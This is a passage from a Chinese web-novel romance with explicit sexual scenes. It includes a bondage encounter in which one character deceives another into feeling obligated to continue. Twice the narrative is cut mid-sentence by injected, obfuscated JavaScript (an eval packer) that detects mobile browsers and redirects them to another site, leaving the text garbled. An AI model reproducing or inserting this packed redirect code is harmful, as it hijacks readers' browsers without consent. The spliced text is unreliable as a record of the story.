“那你肯定没达到人家的结婚标准啊,总不能你想,人家就得结婚吧。”祁放心里想,没说出口,给东叔递了两张纸,安慰道,“东叔,虽然你很伤心,但是我们在路上,来来往往这么多车,我相信,你也是很惜命的,对吧。” 东叔使劲擤了两下鼻涕,“哎,不说了,都过去了……呜啊……她、她后来结婚又离婚,跟我说后悔了,想结婚,结果又给我踹了……” 祁放拿出百分之二百的警惕,盯着来往车辆,比开车的还紧张,哪还有空想别的,“东叔,没事哈,车车车,看车。” 顺风车硬是坐出了过山车的感觉,祁放站在车旁缓了缓。 东叔车里擤了把鼻涕,擦擦眼泪,下车后拍拍祁放的肩膀,长叹一声,扬长而去。 祁放深呼一口气,拿出手机给付轻屿打电话,“我到酒馆了,你忙完了吗?我去找你吧。” “还有一组衣服,半个小时左右。你在酒馆等会,我完事去找你。” 付轻屿说完就挂,祁放愣了下,装起手机,乖乖去酒馆等。除了乖乖等,也没其他办法,他不知道付轻屿在哪工作。 东叔把自己说伤心了,借酒消愁,还给祁放留了个好位置。他拍拍身旁吧凳,“东叔请客,随便喝。” 祁放没客气,随便点了杯。东叔喝着酒,又回忆起情感史。 祁放观察东叔,观察他醉酒痛哭的表情,面部肌肉走向,职业病犯了。 在祁放看来,三十出头,有十几段感情已经非常多了,东叔的性格不太稳定,还有,他放不下甩自己两次的坏姐姐。 东叔说到后面,祁放有些走神,手指在杯沿打转。 付轻屿会想和他结婚吗? 要是不结婚的话,会分手吗? 有什么原因分手呢? “帅哥,一个人吗?” 祁放比了个耶,缓缓转过头,“两个人。不对,是三个。”他举杯跟身旁东叔碰了下,“这是我朋友,还有,我女朋友马上来领我。” 付轻屿站在不远处,轻挑眉头。祁放这幅吊儿郎当的样子,看起来可太危险了,一点都不乖。 搭讪的女生撇了下嘴,拿过自己的酒走了。 东叔喝的有点醉,拿着酒杯四处看,“女朋友来接你啊,哪呢,来了吗?” “来了。” 祁放转头,正对上付轻屿的视线。他瞬间翘起尾巴,起身把人拉到身边,“到了,怎么不给我打电话。” 付轻屿浅笑,“不用,能找到你,顺便看看你在干什么。” 祁放听出话里的意思,抿嘴笑了下。他还挺喜欢这种被付轻屿管着的感觉,心里踏实。 “是个大美女啊。”东叔伸手,笑着介绍自己,“我是酒馆老板,祁放的朋友。” 祁放赶紧拍了下他的手,往付轻屿身前侧,“行了,你少喝点,我们走了。” 祁放挡这一下,付轻屿没再伸手,只说了句道别的场面话。 小酒馆里都是俊男美女,祁放半圈着付轻屿走,生怕别人抢去。要是有个麻袋,付轻屿感觉祁放能给她套起来。 “你会和我结婚吗?” 刚出酒馆,祁放冷不丁地冒出一句,都给付轻屿听傻了。 “谈恋爱不好吗?” 祁放皱了皱眉头,“那你会和我分手吗?” “没有原则性的问题,大概率不会。”付轻屿牵起他的手,“怎么了?有人跟你说什么?你都没到结婚年龄呢,想这些干什么?” 祁放摇晃她的手,“等我年龄到了,你会跟我结婚吗?” 付轻屿牵着他,一手按下车钥匙,“哇,一定要讨论这个话题吗?” 祁放点点头,“说嘛。” 付轻屿示意他上车,“说吧,谁跟你说什么了?” “东叔,他说到了一定年纪,大家都喜欢谈比自己小的,踹的时候没压力。”祁放系好安全带,转头看她,“你也是这样想的坏姐姐吗?” 付轻屿拉过他亲了下,笑着点头,“有可能哦。” 祁放扯着安全带坐好,“你又逗我。” “知道是逗你的,还问。”付轻屿拐到主路行驶,“真打算玩玩,就直接把你骗到床上,用完就丢。‘嗖’的一下丢出去,不会有任何负罪感。” 祁放看她,“你不想把我骗到床上吗?” “我想把你丢下车。”付轻屿蹙眉,哭笑不得。祁放这话问的,她是想也不行,不想也不行。“我们是在谈恋爱吧?当然,你不愿意,可以不用滚到我床上。别人滚上来的时候,你别拦着就行。” 祁放气得转过头,看向车窗外,“我不愿意,你就不能想点办法。” 付轻屿摇头,故意逗他,“那就是骗了吧。” “不跟你说了,说不过你,烦死了。” 付轻屿笑他,“好好好,我想点办法把你骗到床上。” 祁放想开口,又觉得怎么说都不对,干脆不说了。 下车前,付轻屿拉过祁放亲了会,“好了,我之前不是说过嘛,不会随便提分开之类的话,别瞎想。” 祁放亲舒坦了,头抵在她肩膀蹭了蹭,又觉得自己没出息。每次想跟付轻屿说点什么,被塞两句好话,亲一口,他这心就拽不回来了。 付轻屿揉揉他的脑袋,“先去吃饭,还有个好东西要给你看呢。” 祁放直起身来问,“什么啊?” 付轻屿把他唇边的口红印蹭掉,又给自己补了下妆,“你猜,猜对了有奖励。” 祁放很乐于玩这种小游戏,结婚的话题也就被带过去了。 饭吃到一半,祁放接起电话,颜泠打的。 “你今天回家吗?” 祁放看向正对面的人,跟颜泠说,“不回,付轻屿要把我骗到床上去。” 付轻屿呛了口酒,又气又笑,也是拿他没办法了。 祁放急忙抽了两张纸巾递过去。 “这样啊,祝你好运,老弟。”颜泠说完,电话也挂断了。 祁放震惊,“啊?居然是这个反应。” 付轻屿看向祁放,摇头笑了笑。 吃完饭,付轻屿把人带回家,没骗到床上,直接丢客厅了。 祁放坐在沙发上,眼巴巴地看她走进书房,又忍不住问:“什么好东西啊?” 付轻屿拎出一个大箱子,放在茶几上,“你生日那天,我要主持红毯,没法一起过。”她拍拍箱子,“生日礼物,提前送。” 祁放两手捧着她的脸,跟拔萝卜似得,狠狠亲了两口,“付轻屿,你也太爱我了吧。” 付轻屿笑着拍开他,“知道就好。” 祁放拆来箱子,两台顶配的显示屏,尺寸一大一小,还有一款数位屏。 “都是你画画能用上的。跟你猜的不一样,没什么浪漫的,倒还……挺实用。”付轻屿笑了下,“早知道你喜欢花,今天就定一束了,说不定,还能浪漫点。” 祁放抱起付轻屿,挤到沙发上,发了疯地亲她。他毫无章法的乱来,很快就让付轻屿夺回主动权。 祁放疯过了,有点喘,抵在付轻屿肩上,“什么不浪漫啊,你都快浪漫死了。” 这有什么浪漫的,她也不是擅长搞浪漫的人。付轻屿揉着眉心笑,她喜欢祁放收到礼物的表现,也喜欢他腻歪自己,抱在怀里有股热乎劲。 压在身上挺沉的,付轻屿呼噜他的脑袋,“行了,带上你的生日礼物,回家吧。” 祁放抬头看她,嘴巴没说话,眼神问得挺明显,“你不让我在这? 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颜泠给男人带回来了?完了,跑吧。 开门声会不会被听见了?现在跑,还来得及吗? 祁放一手搭在门锁上,刚想关门跑,颜泠走出来了,“你不是不回来吗?” 祁放装作没看到那双皮鞋,低头往房间走,“我回来拿、拿两件换洗的衣服。” 颜泠也转身往卧室走,“记得关门。” 祁放回到房间,手忙脚乱地拿了几条贴身衣物,一鼓作气,冲出家门。 颜泠没管祁放,只当他是急着去找付轻屿。 她推开门,昏暗的灯光下,床上一片春色,实在让人欣喜。 颜泠没说话,轻轻把门带上。 细微的声响,听的李杨抖了下。他戴着副黑色眼罩,两手束在身后,膝盖跪地发麻,一片黑暗中,听觉被无限放大。 李杨咬了下唇,他知道有人来了,又不知道是谁。颜泠出去的时候,门没关严,他听到了男人的声音。 不知道现在进来的是谁? 李杨羞辱又觉得愤怒,他不知道颜泠究竟还有多少癖好。要是有第三个人出现,或是进来了其他人,他怕是杀人的心都有了。 李杨埋头在床上蹭,想要把眼罩弄下去,颜泠给他带得太紧,光靠蹭,根本就弄不下来。 房间异常的安静,静得可怕,他能听到后面玩具震动的声音。 祁放甚至开始怀疑,根本就没人进来,只是颜泠把门关好了。 太荒唐了,李杨已经没心情陪她胡闹,他试着直起身来,挣脱手上绑的领带。没想到稍微一动,那小东西吸得更深,开始猛震不停。 身子没直起多少,猛地砸了下去。李杨身上的白衬衫跟着呼扇一下,像只漂亮的白蝴蝶,可惜衬衫夹被扥开一个。 颜泠默默欣赏着。 李杨双手束在身后,像被钉住翅膀,挣扎扭动,越趴越低。 仅有的那件白衬衫变得凌乱不堪,黑色的衬衫夹全部崩开,摇摇欲坠。 毫无保留地展示,完全是在邀请她啊。 颜泠笑了下。 轻微的笑声,让李杨全身一颤,把她被子弄脏了。 李杨头脑一片空白,震动声也停止了,房间再次陷入诡异的安静。 铁锈味在口中蔓延开,他不知道自己把哪里咬破了,也没工夫去想。 稍微缓了几秒,李杨小声唤了句,“颜泠?” 颜泠在李杨身边坐下,随手丢掉披肩和小遥控,抽开被弄脏的丝带,笑着说:“李杨,你也太有天赋了吧,天生就适合这样做呀。” 李杨声音忍得有些哑,又带着点怒气,“松开。” “啊?这不是给你解开了吗?” 颜泠一口调皮的语气,趁他没防备,扯下小尾巴。 李杨像只伸懒腰的猫,突然弓起脊背,爪子无意识地抓挠,又彻底瘫软。 颜泠摆弄他的衬衫领口,有意无意地剐|蹭。 李杨冷着声音问:“谁来了?” “我弟,已经走了。”颜泠在他身上一寸一寸地扫视,“很抱歉呢,我不喜欢多个人。” 李杨试着避开她,“玩完了就解开。” 颜泠在他旁边笑,“你都不知道自己现在多好看,要不要我帮你录下来。” “颜泠!” “好吧,不愿意就算了。” 李杨皮肤白,一轮过后,泛着点动人的情粉色,实在诱人。 颜泠都后悔了,怎么没早点把他骗到床上来? 她玩过的男人太多,都是圈内人,勾人的技巧一个比一个厉害。相比而言,李杨算是没情趣的。但是,单躺在这就能勾人心魄的,还真没让她遇见过。 更别说李杨受不住时,不敢吭声,又忍不住挣扎,羞耻下带着情动,简直在挠她心口。 李杨缓了下,有力气骂人了,“混蛋,上次根本就没做。你还说我睡了你,让我负责。这是我睡你吗?有意思吗?啊,颜泠,有意思吗?” 随口一说的话,谁知道他怎么就信了。 颜泠忍不住笑:“你上次吐了一身,太臭了,我实在没法下手啊。不过,你刚才不是挺爽的嘛,怎么睡不是睡啊。” “你!”李杨还没说完,□□又被她擒住。 情话能不能信,也得分分情况。特别是颜泠拿情话当语气词用,不管床上床下,都不能信。 偏偏李杨这个傻子信了。 “你凶我干什么,你自己同意的,你不是说要对我负责吗?”颜泠语气委屈,手上动作可没闲着,“你吐成那样,我都没嫌弃你,还给你收拾。你自己误会了,我不过是顺水推舟。你说要对我负责,我也同意啊。难道就因为我的性向不一样,你就不负责了。” 李杨看不见颜泠带笑的表情,也不会知道那晚是酒店阿姨给他收拾的。男人命|根|子不在自己手里,爽的脑子都不好使了,只听她语气委屈,迷迷糊糊就信了。 颜泠看他快到了,立即停手,把人吊得不上不下。 李杨没弄出来,难受地闷坑一声,理智渐渐回升,“负责是基于我们发生了关系,我才说的。既然上次没发生,就……” 颜泠扬起嘴角,“那这次呢,因为是我的取向,这种对你来说就不算发生关系吗?你说的负责就不算数了?” 李杨抿了下嘴,半天没说话。各种案例条文他捋得又清又快,到了颜泠这,简单几句话,他就绕不出来了。 李杨挺精一人,有些时候,又蠢得让人看不明白。颜泠没忍住问:“我刚才让你洗那里,你就没多想。” 李杨冷冷道:“我以为你有洁癖。” 颜泠抿嘴忍住笑,选了个称心的玩具,一边擦拭一边问:“所以,要负责的话,不算数了?” 李杨沉默半晌,闷叹一声,小声说了句“算”。 颜泠愣了下,转头看过去。 两人都看不见对方的眼睛。 颜泠本想玩一晚,灭灭他那傲气的模样。既然这样的话,多玩一阵,也不是不行。 反正是李杨要负责,又不是她要负责。 颜泠伸手挑逗他的脸,一脸玩味地说:“李杨,你真好。” 李杨语气冰凉,倒是弱下不少,“给我解开吧。” “不行哦,”颜泠笑着看他,“这才刚开始呢。” “眼罩解开吧,不喜欢。” 颜泠笑着说:“行吧,看你对我这么好的份上,才给你解开。” 李杨的睫毛湿哒哒的,一双诱人的狐狸眼勾着颜泠,看了会又移开视线。 不知道是感觉羞耻,还是真动情了。 视线扫到床边的一排‘刑具’,李杨眼都瞪大了。 这都是什么?颜泠要弄死他吗? 颜泠拨弄他的睫毛,低头想要亲过去,李杨皱眉躲开了。 颜泠愣了下,她不喜欢接吻,平常也没做过,只有她躲别人的份,什么时候轮到李杨躲了。 李杨那表情里,还来了几分厌恶。 颜泠掰过他的脸,凶狠地接了个吻,与其说是接吻,更像是在宣泄,最后把人嘴唇咬破了才松开。 李杨想擦嘴,手被束缚着,只好瞪了她一眼。 颜泠拿过擦拭好的玩具,“宝贝,夜还长呢,我们慢慢玩。” “哐哐哐——” 对于祁放跑回来,付轻屿还蛮惊讶的。 她打开门,祁放气喘吁吁地说:“我姐、我姐家有男人。” 付轻屿一愣,“啊?” 41. 41 “鞋架上的皮鞋,玄关台上的钥匙,茶几上的电脑包。”祁放将自己看到的信息陈列出来,思索片刻,“我开门的时候,颜泠也出来了,可以排除遭受危险的可能性。我姐谈恋爱了?她给我打电话,原来是这个意思?” 付轻屿听着,给祁放倒了杯水,摇头笑笑。颜泠谈恋爱吗?可能性不大。 不过,能让颜泠带回家的人,付轻屿倒是很好奇的。李杨吗? 祁放接过水,“我姐谈恋爱的话,是不是又要出绯闻了?” 付轻屿坐在祁放身边,“别瞎操心,颜泠不怕出绯闻。她的路人盘大,粉丝关注度并不高,正常恋爱的娱乐标题,根本带不起多少流量,狗仔很少关注她。上次是营销号借‘出轨’词条博流量。” 祁放不了解娱乐圈的事,听付轻屿说完,安心不少。 付轻屿拉过祁放的手,放在腿上把玩,顺便回复工作上的消息。 祁放头脑一热,直接窜了过来,上蹿下跳的心情平复后,才想起付轻屿说的话,‘今天不想睡素的’,那岂不是…… 能行吗?又死不了,别人都能行,有什么好矫情的?那些做指检的人,不都没什么事吗……但听说挺疼的。这玩意是不是得有点天赋啊?祁放心里挣扎半天,搓了搓头发,有点害怕,好像不是有点。 左手被付轻屿玩地冒汗,祁放转头瞧她,话在嘴边没说出来,又咽了下口水。 付轻屿抬头,“怎么了?” 祁放收回视线,连带把手抽回去,拿起纸巾擦擦汗,“没事。” 付轻屿笑笑,“真没事?” 祁放做事喜欢直来直往,不爱兜圈子。付轻屿一看他那扭捏样,就知道这人在想什么。 祁放不说话,付轻屿也不说,静静看着他自己瞎琢磨。祁放耳廓逐渐泛红,蔓延到耳垂,然后是脖颈,再往下被衣服遮住,什么都看不见了。 付轻屿揉了下他的耳朵,“去洗澡吧。” 祁放‘噌’的一下,全红了。 之前同床两次,纯粹是睡素的,祁放连手都不敢乱放,顶多在她腰上搭了下。付轻屿明确说过,今晚不想睡素的,这句‘去洗澡吧’,指向性就太大了。 祁放呼噜把脸,心一横,豁出去了。他顶着个猴屁股,转头扫了眼付轻屿,都不敢实打实地跟人对视,轻声问:“你买那种洗的了吗?” 付轻屿手指剐蹭他的脖颈,轻轻挑逗,“做过功课?” 祁放揉着两个耳朵,转过头不看她,也不让她摸了,嘟囔道:“肯定要提前查资料啊,虽然没找到教程,多少知道点。什么都不知道,要闹笑话的。” 这话让人听出点委屈的意思,付轻屿回想半天,自己只说过4i,具体怎么个做法,的确一点都没和祁放提过,全靠他自己瞎琢磨了。 想来奇怪,她好像在无意识地躲避什么,哪怕提到这个话题,也是点到为止。 确实有点不应该。 付轻屿拉过祁放,轻轻含了下他的嘴唇。“正常洗,去吧。” 祁放恍惚片刻,“不做了?” 付轻屿弹了下他的头发,“洗完再说。” 祁放满脑子浆糊,晃荡不匀,边洗边疑惑。是不做的意思吗?难道,之前是他了解错了,不是用后面做?付轻屿也没指正啊? 祁放裹了条浴巾,洗完才想起来没带睡衣,拖鞋也是付轻屿的,他只能稍微挤进去一点,踮着脚走出浴室。 付轻屿在客厅阳台打电话,祁放看过一眼,又低头瞧了下自己滑稽的造型,灰溜溜地钻进卧室。 挂断电话,付轻屿在阳台站了会,心底泛起说不清道不明的烦躁。她伸手摸了根爆珠,又放回去,不想抽烟。 没曾想,真到了这事上,祁放还没跑,她先开始躲了。 上一段感情,付轻屿觉得自己释然了,过去的事不会再影响什么。确实,她对冯适有没任何念头,对之前的感情也没有一丝留恋。 只不过,到现在才发现,这段经历好像潜移默化改了她的一些想法和心态。 对于1i掰4i,好像不能只靠爱不爱来说事。 信心被磨没了,付轻屿不想看到祁放抗拒的表情,更不愿意去想他厌恶的神情会是什么样。 说永远比做容易,万一祁放想得简单,头脑一热就答应了,等到枪上膛,知道怕了,再要反悔。她不一定能承受住,也不想再经历一次。 付轻屿搓搓脖颈,叹了口气。人都是这么矛盾吗?决定在一起时,她明明都想好了,不管结果如何,享受过程就好。哪怕祁放反悔了,她都可以接受。现在却开始担心、犹豫、害怕。 祁放呢?他也会这样想吗? 付轻屿转身看向浴室,半天没动静了。 不能退缩,如果连她都躲避,这事就绝无可能了。 付轻屿从书房拿出平板,打算先给祁放看几个视频,弄些前戏试试反应,不做到最后。 付轻屿深呼一口气,推开房门,视线落到床上,没忍住笑了下。“你这是……等着侍寝呢?” 祁放裹着被子左右打滚,把自己卷成了毛毛虫,只露个脑袋在外面,头发乱飞,“我没带睡衣。” “一点没穿?”付轻屿摸了下他的头发,吹干了。 祁放给自己裹得太严实,活动不开,使劲滚了半圈,背对着付轻屿,“内裤。” “裹着吧。”付轻屿坐在床边,开始捣鼓手里的平板。 祁放见付轻屿不理他,打了两滚,从被子里轱辘出来,又把自己包成颗圣诞树凑到付轻屿身边。 “头发没干。”祁放摸她的发梢,潮乎乎的,甚至能撵出水来。 付轻屿忙着几个页面跳转,“发尾不吹没事。” 祁放嗯了声,倾着身子往平板前凑,想看看付轻屿在弄什么。他使劲扯了下被子,膝盖没跪好,一个不稳,直冲床下栽去。 付轻屿迅速扯住被子才给人拽回来,“没晃着吧?自己瞎闹啥呢?” 祁放着实吓一跳,心脏直扑棱,还不忘皮一下,“哇塞,倒拔垂杨柳。” 见他没事,付轻屿拍过一巴掌,“就该让你摔地上。” 被子让付轻屿拽开后,祁放也不裹了,没脸没皮地凑到她身边。 付轻屿睫毛很长,感觉能卷成个圈,睫毛尾部有一颗很小的痣,玫红色的,不是很明显。眉心起了个小红疹,都长的恰到好处,很诱人。灯光映过来,还能看见细小的白色小绒毛,超可爱。 祁放贪婪地看了一遍,在她脸上亲了下,又问:“你干啥呢?” “给你找片儿看。”付轻屿倒腾着链接,一直加载不出来,祁放问完,瞬间刷新成功。 听到这话,祁放又在她脸上啵了几口,提前给自己吃点甜头。 付轻屿随便找了个比较温柔的视频,将平板递给祁放,“拿着,看吧。” “这是你喜欢的吗?”趁着画面加载,祁放瞄了付轻屿一眼,“你会和我一起看吧?” “算是吧。”付轻屿说,“和你一起。” 视频里在展示美食和场景,付轻屿趁机亲了亲祁放,交缠在一起的鼻息很轻,连带亲吻都显得异常温柔。 付轻屿的手指从他脸颊溜走,去轻轻挑逗耳朵。祁放下意识想躲,都被按住了。 付轻屿从背后环住他,轻声说:“接受不了的地方,要说出来。” 平常能说会道的一张嘴,真到这事上,就成哑巴了。祁放半天没憋出一句话,只好点头回应。 轻柔的吻落在后脖颈,逐渐扩散开。他看不到付轻屿,一下一下被撩得心痒难耐,根本无心观看视频。 祁放咬着下唇,焦急地等待下一吻,却被突然按在心口的手吓一激灵。 付轻屿手指撵着小豆子研磨打转,又轻柔地扯了下。 祁放没忍住抽嘶一声,微微偏过头找付轻屿,“我是男的。” “……我知道。”付轻屿亲他的耳朵, 酥酥麻麻的感觉,痒得难受,祁放想躲,脖颈被付轻屿环住,动弹不得,只能受着。 “为什么揉这里,平的,又没什么东西。” “认真看,别闭眼。”付轻屿扫了眼祁放的表情,“难受吗?” 祁放小幅度地摇头,“有点奇怪,你弄得它有点麻、涨。”还有点疼,他觉得说出来太矫情,就没提。 “正常的,没事。”付轻屿观察他的表情,“不舒服吗?” “不舒服,奇怪。” 付轻屿顺着腹肌看下去,故意在他耳边开口:“说谎了啊,都快支出来了。” 祁放伸手去扯被子,想遮起来。 “就这样,别遮。”付轻屿在他脑门弹了下,“看视频。” 祁放小声问:“能面对面吗?” 不用祁放说,付轻屿也有这个想法。 她转到祁放身边坐下,手指有意无意地撩拨。祁放的侧腰仿佛是处痒痒肉,摸不得,碰不得,整个人来回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966572|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲。 “视频里这样,能接受吗?”付轻屿盯着祁的表情,观察他的表情变化,紧张中夹杂着期待。 祁放这才把注意力放到视频上。 动作像在进行指检。 祁放看向付轻屿,两人沉默着,视频中的声音却越叫越凶。视线落在付轻屿嘴唇上,他想接吻,往上凑了下,被躲开了。 付轻屿看他,“说话。” “嗯,感觉能接受。”祁放说着,又凑过去,亲到一下就撤开了。忍着火,不敢胡来。 付轻屿把视频跳了段,“接着看看。” “嗯。”祁放应下,视线却总瞟向付轻屿,见她看得认真,才仔细看了眼视频。 一个从没想过的人体姿势,祁放观察头部和肩部的比例,以及重心问题。 他心里惊呼,等等,这样的姿势应该不会出现在他的画里。 视频里的男生看起来不高,很白很瘦,有些动作甚至能看到肋骨的形状。 祁放确实没啥兴趣,眼睛又开始偷瞄付轻屿,见她还在看视频,心里就有点不爽了。 祁放比例好,穿衣显瘦脱衣有肉,薄肌,跟视频里的男生完全不是一个类型。 “你别看了。”祁放热乎乎地贴了上去,湿热的舌尖挑开唇瓣,试图吸引付轻屿的注意力。视频里的声音越大,他吻的越卖力。 祁放的吻技不算好,付轻屿托住他的脸颊一步步引导。 “怎么了?”付轻屿观察着他的表情,“接受不了那种工具,还是姿势?” 祁放燥得难受,没劲想那些弯弯绕绕的话,“我不喜欢看他,你也不能看。” 付轻屿伸手去够平板,想要关掉视频。祁放拦她,烦躁地说:“你别看了,你是不是喜欢他那样的?” “你这醋劲真不知道从哪个犄角旮旯往外冒。” 祁放拦着她不放,还把平板往床尾推了下,“不许你拿。” 他的眼神是沾了蜜的钝刀,看似凶狠,实则隐忍着欲望,想要给付轻屿留下黏腻的痕迹。 付轻屿无奈笑了下,“随便找的视频,想让你大概有个了解。” 话音未落,视频里叫声连连,显得她这句解释更诡异了。 “我不看,是想关上。”付轻屿盯着祁放,见他还是不让开,索性不管视频了,淡淡道,“两手撑到后面。” 祁放生气,跟她拧着劲,故意只把右手撑到身后。 “两只手。”付轻屿近似命令的口吻,“一会撑不住。” 祁放还想讲条件,再捞点好处,结果付轻屿把他身上仅有的布料扒开了。他立即将左手也撑到身后,结巴道:“你要、你要干啥?” “做点手工活。”付轻屿笑着说完,嘴里含住小红果。 一阵酥麻从心口直冲天灵盖,祁放挺了下腰。 “我是男的,你干啥咬它,什么都出不来。” 不一定吧。 付轻屿松口,左边明显比右边大了一圈。 祁放低头瞧了眼,迷茫中带着羞耻,看向付轻屿也不知道说啥了。 “不舒服吗?” 付轻屿嘴上松口了,手还没放过他。祁放摇头,气息不稳道:“奇怪,很奇怪。” “奇怪完了,就会舒服。”付轻屿差不多摸清了祁放的表达,因为他没接触过,没有概念,奇怪等于舒服。 祁放看着一大一小的两处嫣红,有些苦恼。 付轻屿笑,“没事,右边我也会帮你的。” 祁放忍着声音,呼吸越来越重,被付轻屿折磨疯了。每次快到顶点时,付轻屿就松手,让他在仅有一步之遥时下坠,然后再次送他飞上去。 重复了五六次,祁放终于忍不住开口了,颤声说:“付轻屿,难受,你别、别在松手了。” “好啊。” 付轻屿没松手,只是手快得堵了上去。 祁放措不及防地惊叫一声,彻底瘫在付轻屿肩膀,眼尾激出泪花。 付轻屿满意地松开手。 祁放直冲云端,头脑一片空白,等反应过来时,才觉得不对,好像停不下来了,一股连着一股,“坏了,付轻屿,你玩坏了,停不来了。” 付轻屿揉着他的脖颈安慰,“没事,正常的,一会就好了。” 祁放的脑子跟着爽没了,心里只剩害怕,哭着说:“坏了,你玩坏了,停不下来。” 付轻屿不想跟他讲道理,怪煞风景的,转头将人吻住了。 42. 42 “坏了吗?” 冲了个澡,一出浴室,就听付轻屿逗他,祁放炸毛似的“哼”了声,“坏了!” 付轻屿倚着门框笑,“坏了也没事,前面不行还有后面。” “我真生气了!”祁放全身上下只围了条浴巾,脚下踩着奶白色的拖鞋,还挤不进去,只能踮脚站,仿佛下一秒能来段芭蕾舞。 付轻屿眼神示意他往地板看。 祁放一脸傲娇,视线往下瞟了眼,地上放着双黑色拖鞋,一看就是他的码数。 祁放冲澡时,听到付轻屿接电话和开关门的声音,以为点了吃的,没想到是给他买的拖鞋。 “好了,看在拖鞋的份上,我不生气了。”祁放想气也气不来,抿着嘴,笑容咧到耳后根。 付轻屿点头,“试一下,看看合脚吗?” 祁放踩了下,正好。“你什么时候买的啊?” “你抱着我哭,一个劲念叨‘坏了’的时候。”付轻屿说,“回浴室刷一下再穿。” 祁放美得不行,也不管她说啥了,转头回浴室刷鞋。 付轻屿笑着回卧室,感觉自己捡了个傻小子,一双拖鞋就把人哄上天了。 祁放穿上新拖鞋,围着床走了四五圈,绕的付轻屿头疼,笑着喊他关灯上床。 “这是给我买的拖鞋,要是别人来了,也不能穿。”祁放啪一下关上灯,下一秒又按开了,“我是你男朋友,你别想带别的男人回来!” 付轻屿看他,“男朋友,关上灯也能说话,别玩灯光秀了,上床睡觉。” “来啦。”祁放关好灯,麻溜钻上床。 刚做完亲密的事,祁放身上那股黏糊劲更厉害,也不知道羞了,拱到付轻屿身边把人抱住,好像这待遇就是他应得的。 付轻屿一身睡衣,祁放就穿了条内裤,倒是方便她为所欲为。 祁放折腾睡姿,非要把付轻屿抱怀里。 付轻屿看着眼前的胸肌,很难管住自己不下嘴啊。她碰了碰红肿的小果子,能感受到祁放缩了下,“疼吗?” 祁放话说的硬气,“不疼。” “那再玩一会。” “……疼。” “觉得怎么样?”付轻屿捏他屁|股,“像视频那种,能接受吗?” 感觉怎么样?他今天感觉爽飞了,人都爽傻了。 祁放话上扭捏,“应该能。又没做到那步,我也不知道。” 付轻屿揉捏起来没完了,祁放臊得不行,“你捏啥呢?” “你感觉不到吗?” 祁放:“……” 不知道祁放怎么想的,付轻屿是真没弄够,吃了点开胃小菜,对着满汉全席,还得告诉自己忍住,挺考验人的。 上来就由着性子做,估计会给祁放弄出阴影,还是慢慢来吧。付轻屿手上捏捏揉揉,最后轻拍一掌才放开,确实很有弹性。 这一小下,又给祁放整不好意思了。他还从来没想过被人揉|臀,心里被付轻屿揉捏的七上八下,跟着变奇怪了。 前两次同床,付轻屿都是困得不行,倒头就睡。今天抱着祁放,半天没困意,思绪开始发飘。 “祁放,你是一见钟情后,就会爱的死去活来吗?” 祁放正听着她的呼吸声发呆,突然被问到,下意识“嗯”了声,随后才反应过来付轻屿的话。 “不是啊。”祁放又问,“干什么?你觉得我对你一见钟情很轻浮吗?” 付轻屿抬头看他,“没有,只是觉得不可思议。况且,你有些事上,确实给人一种欠考虑的感觉。” “才没有欠考虑,我精着呢。”祁放感觉付轻屿有顾虑,难道还觉得他是头脑一热? 上下都让她弄了,后面也给捏了,除了没捅进去,也不差啥了。他要是头脑一热,能热到这个地步,应该先怀疑他没脑子才对。 祁放“哼”了声,低头亲她的额头,“确实,第一次见你,我就想和你在一起,就喜欢上了。所以还废什么话,肯定得追啊,这也是我考虑后的决定,虽然只花了两秒。 我脑子又没丢,很清楚自己每一步的行动,要不然咋能追到你。 还有,相处时间越长,了解越多,我就发现,完了,更爱了,越来越爱,爱死你了。” 付轻屿被他逗笑,“少来。” “真的。”祁放窜下来,鼻尖去蹭她的脸,“爱上就是一瞬间的事啊,不是吗?” “或许吧。”付轻屿揉捏他的耳朵,轻声问,“开心吗?比以前开心吗?” “嗯,现在开心的要死。”祁放摸索着亲她,“你是浪漫爱情主义吗?将真爱视为一种信仰,抱有近似神圣的期待,认为它会带来幸福浪漫快乐,能解决一切问题?” “不是。”付轻屿笑着摇头,“也会有痛苦绝望。” “还有愤闷、不安和自我怀疑。”祁放轻叹,“吃醋就是这些感觉混杂在一起,很烦人。不过,沟通解释完,又会更开心。不觉得很神奇吗?我会因为你产生这么多情绪。有一些情绪,只有你能调动出来。” 付轻屿点头,“听你这么一说,确实开心。” “总的来说,肯定是开心幸福占大头。” 付轻屿抱住祁放,“没想到,还能跟你盖着被子聊这些。年纪不大,想的不少,说话一套又一套。” 祁放“哼”了声,“我也不小了。” 付轻屿埋在他怀里点头,“确实不小,两手握不住。” “……”这话说的,祁放又烧起来了。付轻屿一本正经的语气,总让他接不上话。 “祁放,爱上和高|潮好像,有些人见一面,或者说弄一下,感觉就到了。有些人得多见几面,或者说多弄几下,感觉堆上去才行。” “你这……”祁放想了半天,又觉得这话好像真有点道理。那暧昧算什么,高|潮上不去吗? 听着祁放欲言又止,付轻屿问:“不像吗?” 祁放含含糊糊的“嗯”了声,又问:“你是不是睡不着?” 付轻屿已经感觉到两人间多出一个异物,“有点。” 祁放想了下,“我给你唱歌吧。” 付轻屿摇头,手上开始不老实,“不想听歌词,能来哼段纯音乐吗?我正好弄点别的,比较适配。” 祁放不给哼纯音乐,揉捏半天床单,又冲了个澡,两人才睡下。 付轻屿有赖床的习惯,有工作安排时,要定两个闹钟,给自己留出赖床的时间。 祁放不赖床,平常都是睁眼就起,到付轻屿这就不行了,每次都跟着赖一会,舍不得起来。 “醒了?”付轻屿没睁眼,手指插进他头发里,胡乱摆弄。 祁放“嗯”了声,趴在床上,防着付轻屿又逗他。 付轻屿抱着他,怀里热乎,心情也好,“今天回学校吗?” “晚上回,明天有早自习,来不急。”祁放没赖太久,利落起身穿好衣服,“我去楼下买点早餐。一会要不要去逛超市,昨天看你冰箱都空了。” 怀里的热乎劲没了,付轻屿扯过被子抱住,点头回应他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 